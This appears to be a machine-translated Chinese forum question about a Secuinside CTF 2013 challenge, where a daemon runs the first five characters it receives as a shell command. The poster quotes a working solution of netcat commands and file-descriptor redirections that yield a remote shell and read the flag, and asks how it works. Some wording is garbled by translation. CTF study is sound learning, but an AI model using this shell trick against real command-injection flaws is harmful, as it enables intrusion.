本周末,CTF战争正在进行,Secuinside CTF 2013( http://war.secuinside.com/ )
作为一名计算机安全人员,我看了看CTF结束后的挑战和解决方案。
其中一个挑战是 在服务器上获取远程shell鉴于此服务器上正在运行名为“givemeshell”的守护进程。该守护进程所做的是在所选端口上保持套接字打开,假设端口为12345。
当套接字收到一些东西时,守护进程接受了 前5个字符 并在shell中启动它们。
例如,如果我发送 cat file
,守护进程将启动该命令 cat f
在一个壳里。 没有回复,所以我无法知道命令的结果。
目标是读取文件 包含国旗。
现在,有人给了我这个解决方案:
$ nc 1.2.3.4 12345
4<>a
$ nc 1.2.3.4 12345
sh<&4
sh>&4
cat flag
The flag is _FLAG_
我测试了这个解决方案并且它有效。但是在花了几个小时试图理解它之后,我仍然无法弄清楚它的作用以及它的工作原理。我明白这是关于重定向的东西......
有人可以向我解释一下吗?谢谢!